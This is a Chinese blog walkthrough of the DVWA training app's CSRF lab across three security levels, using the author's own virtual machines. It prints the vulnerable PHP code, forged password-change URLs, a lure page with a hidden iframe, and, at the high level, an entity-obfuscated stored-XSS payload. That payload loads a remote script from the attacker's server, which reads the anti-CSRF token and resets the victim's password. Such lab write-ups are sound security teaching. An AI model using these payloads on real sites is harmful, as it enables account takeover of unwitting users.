C1imber's Blog

dvwa CSRF

字数统计: 2.5k阅读时长: 11 min
2017/12/22 Share

dvwa CSRF

csrf漏洞

csrf的全称为跨站请求伪造,都有着跨站两字,但和之前的xss(跨站脚本攻击)不同的是csrf是利用目标网站用户的身份去做一些事情,相当于借刀杀人,突出在伪造两字,下面通过dvwa来研究一下csrf,使用csrf修改网站用户密码

测试环境

一台win2003虚拟机,ip为192.168.50.128,用wamp集成环境将dvwa搭在8080端口
一台win7虚拟机,ip为192.168.50.155,攻击者的服务器,web由phpstudy搭建
默认登陆用户名密码为admin,password,我们用csrf漏洞去修改密码

low级别

low级别代码
<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
    // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

该代码接收网站用户传来的新密码判断是否一致,一致的话就更新数据库的网站该用户的密码
再看页面
mark
dvwa为我们展示的是一个正常修改密码的页面,用户通过表单填写新密码即可修改密码
用burp抓包看看用户填写新密码到点击提交的过程中发生了什么
mark
可以看出用户提交从填写密码到提交到服务器实际上是向服务器发送了一个http数据包

GET /DVWA-master/vulnerabilities/csrf/?password_new=hacker&password_conf=hacker&Change=Change HTTP/1.1
Host: 192.168.50.128:8080
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.50.128:8080/DVWA-master/vulnerabilities/csrf/
Cookie: security=low; PHPSESSID=a6bnfv0lnvsho8sq9v3ofqg6r7
Connection: keep-alive
Upgrade-Insecure-Requests: 1

简单的来说,服务器接收到这个http数据包就会做出响应修改密码
现在来思考一下,如果我们诱使用户去点击我们构造的链接

http://192.168.50.128:8080/DVWA-master/vulnerabilities/csrf/?password_new=hacker&password_conf=hacker&Change=Change

受害用户点击后,也发出一样的http请求,将用户的密码改为hacker
mark
mark
服务器接受到请求便会修改密码,这种攻击手段可以看作是借受害用户的身份(cookie)去做用户做的事情,通过简单的csrf可以看出csrf相对xss,仅仅利用用户的身份便可以做任何受害用户可以做的事情
可以看出只要我们诱使用户向服务器发出相应的http请求就可以达到修改密码的效果
上面诱使用户去点击我们构造的链接是一种方式
另一种方式是诱使用户去点击我们构造的具有吸引力的页面,并在页面中用src加载链接,就相当于向服务器发送了一次http请求
来看一个页面
mark

http://192.168.50.155/dvwacsrf/mengmeizi.html

这是黑客服务器上的一个页面,只要诱惑受害人访问就能产生跨站请求伪造,页面中有一个很萌的二次元妹子图片,看起来并没有什么问题
但是查看一下页面源代码

<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
    <title>动漫萌妹子</title>
</head>
<body>
    <div id="meizi1">
        <img src="images/timg.jpg">
        <iframe src="http://192.168.50.128:8080/DVWA-master/vulnerabilities/csrf/?password_new=hacker&password_conf=hacker&Change=Change" style="display:none">
    </div>
</body>
</html>

发现用iframe标签的src属性加载一个链接

http://192.168.50.128:8080/DVWA-master/vulnerabilities/csrf/?password_new=hacker&password_conf=hacker&Change=Change

并且将style属性的值设为display:none,将iframe框架中的内容隐藏起来
src加载了链接就相当于向该链接中的服务器发送了一次修改密码的http请求,这一点可以通过浏览器插件firebug抓包就可以发现
mark
所以只要黑客诱使受害者访问该页面就会发送相应的http请求给存在csrf漏洞的网站服务器,修改受害用户的密码
mark

medium级别

代码如下

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

可看到多了一些防御手段,要求修改密码的http数据包的Referer字段中必须有Host的名字,也就是要求修改密码的这个http请求必须是从修改密码的页面发出的才可以,来简单分析一下,如果是当前网站的用户要修改密码,他就必然要访问该网站修改密码的页面,所以点击提交按钮后http的请求中的Referer字段中必然会有该网站的主机名,但是如果是用户直接点击了修改密码的链接,或者访问了黑客服务器的页面,那么http数据包里的Referer值中就不会有该网站的主机,对比一下http数据包的Referer值即可明白
如果是用户自己修改的密码,那么Referer值为

http://192.168.50.128:8080/DVWA-master/vulnerabilities/csrf/

mark
如果用户是在不知情的情况下向服务器发送了修改密码的http请求,那么Referer值就不会有网站的Host值
mark
mark
看似这种防御已经没什么问题了,但是如果我们将黑客服务器上的页面的文件名改为192.168.50.128:8080.html的话,就可以绕过,但是windows的文件名不能有:这个字符,所以没有尝试成功,不过这样绕过是肯定可以的

high级别

代码如下
<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

可以看出这次使用的是token防御,在修改密码的页面的表单中带上一个token,当用户修改密码后点击提交后发送的http请求中会带上页面的token值

GET /DVWA-master/vulnerabilities/csrf/?password_new=hacker&password_conf=hacker&Change=Change&user_token=78f083605aa7d8cfb698eb414ffa7064 HTTP/1.1
Host: 192.168.50.128:8080
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.50.128:8080/DVWA-master/vulnerabilities/csrf/
Cookie: security=high; PHPSESSID=a6bnfv0lnvsho8sq9v3ofqg6r7
Connection: keep-alive
Upgrade-Insecure-Requests: 1

这个token值是随机生成的,也是攻击者所猜不到的,所以完全的做到了防御csrf

mark
但是高危级别的dvwa有着xss漏洞,我们可以利用存储型xss来完成这次csrf攻击
在存储型xss的地方提交

Name:<iframe src="../csrf" style="display:none" onload="var a= documen&#x74;.crea&#x74;eElemen&#x74;('scrip&#x74;');a.se&#x74;A&#x74;&#x74;ribu&#x74;e('src','h&#x74;&#x74;p://192.168.50.155/dvwacsrf/changepw.js');documen&#x74;.ge&#x74;Elemen&#x74;sBy&#x54;agName('head')[0].appendChild(a);">
Message:use csrf by xss

mark
使用iframe将存在csrf的页面加载到存在xss的页面
mark
利用iframe标签的onload事件进行javascript dom操作创建script标签加载远程脚本http://192.168.50.155/dvwacsrf/changepw.js,这种方法在之前的xss文章中写到过
changepw.js代码如下

var token=frames[0].document.getElementsByName("user_token")[0].value;
var url = "http://192.168.50.128:8080/DVWA-master/vulnerabilities/csrf/?password_new=hacker&password_conf=hacker&Change=Change&user_token="+token;
var ajax = null;
if (window.XMLHttpRequest) {
    ajax = new XMLHttpRequest();
} else if (window.ActiveXObject) {
    ajax = new ActiveXObject("Microsoft.XMLHTTP");
} else {
    ajax=null;
}
ajax.open("GET", url, true);
ajax.send(null);

mark
这段js代码将获取iframe标签中src加载的存在csrf页面的表单隐藏域中的token,然后通过ajax向服务器发送修改密码的http请求并带上token,通过存储型xss可以成功的利用的本不可能产生的csrf漏洞修改用户密码
用firebug抓包可以观察到利用xss漏洞将会获取存在csrf页面的token并将token附带到修改密码的http请求中发送到服务器
mark

总结

从对dvwa中csrf的研究可以看出csrf最有效的防御方式还是利用token来进行防御

CATALOG
  1. 1. dvwa CSRF
    1. 1.0.1. csrf漏洞
    2. 1.0.2. 测试环境
    3. 1.0.3. low级别
    4. 1.0.4. medium级别
    5. 1.0.5. high级别
    6. 1.0.6. 总结